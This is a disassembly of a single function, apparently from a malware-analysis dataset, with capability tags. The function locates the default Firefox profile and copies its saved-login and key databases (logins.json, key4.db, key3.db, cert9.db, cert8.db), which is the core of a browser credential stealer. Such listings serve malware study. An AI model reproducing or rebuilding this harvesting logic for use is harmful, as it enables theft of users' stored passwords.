Function at 0x403eae
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x638
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.gecko
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s_cull
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call sym._sprintf_4
mov dword [esp + 4], 0x42380a
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x340]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call eax
sub esp, 0x14
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sprofiles.ini
lea eax, [ebp - 0x534]
mov dword [esp], eax
call sym._sprintf_4
lea eax, [ebp - 0x534]
mov dword [esp + 4], eax
lea eax, [ebp - 0x340]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x340]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40458d
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_profiles.ini
lea eax, [ebp - 0x612]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x612]
mov dword [esp + 4], eax
lea eax, [ebp - 0x534]
mov dword [esp], eax
call sym._copy_file
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x538], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x538]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x538]
cmp dword [ebp - 0x18], eax
je 0x404094
mov dword [esp], str.file_size_mismatch._n
call sym._printf_2
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [ebp - 0x54a], 0x61666544
mov dword [ebp - 0x546], 0x3d746c75
mov dword [ebp - 0x542], 0x666f7250
mov dword [ebp - 0x53e], 0x73656c69
mov word [ebp - 0x53a], 0x2f
lea eax, [ebp - 0x54a]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x1c], 0
je 0x404590
lea eax, [ebp - 0x54a]
mov dword [esp], eax
call sym._strlen
add dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov dword [esp + 4], str..default_release
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x404593
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strncpy
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fputs
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0xa
call sym._fputc
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov dword [ebp - 0x28], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str..default_releaselogins.json
call sym._GetFirefoxFile
mov dword [ebp - 0x28], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40422e
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], str.File_not_found_at:__s__n
call sym._printf_2
jmp 0x404267
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_logins.json
lea eax, [ebp - 0x612]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x612]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._copy_file
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str..default_releasekey4.db
call sym._GetFirefoxFile
mov dword [ebp - 0x2c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4042e2
mov dword [esp], 0x4238af
call sym._puts
jmp 0x404330
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_key4.db
lea eax, [ebp - 0x612]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x612]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._copy_file
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x404330
mov dword [esp], str.Copy_key4.db_failed
call sym._puts
mov dword [ebp - 0x34], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str..default_releasekey3.db
call sym._GetFirefoxFile
mov dword [ebp - 0x34], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x4043eb
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_key3.db
lea eax, [ebp - 0x612]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x612]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._copy_file
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x4043eb
mov dword [esp], 0x4238af
call sym._puts
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str..default_releasecert9.db
call sym._GetFirefoxFile
mov dword [ebp - 0x3c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40446d
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], str.File_not_found_at:__s__n
call sym._printf_2
jmp 0x4044bb
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_cert9.db
lea eax, [ebp - 0x612]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x612]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._copy_file
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x4044bb
mov dword [esp], str.Copy_cert9.db_failed
call sym._puts
mov dword [ebp - 0x44], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str..default_releasecert8.db
call sym._GetFirefoxFile
mov dword [ebp - 0x44], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40453d
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov dword [esp], str.File_not_found_at:__s__n
call sym._printf_2
jmp 0x404594
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_cert8.db
lea eax, [ebp - 0x612]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x612]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._copy_file
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x404594
mov dword [esp], str.Copy_cert9.db_failed
call sym._puts
jmp 0x404594
nop
jmp 0x404594
nop
jmp 0x404594
nop
leave
ret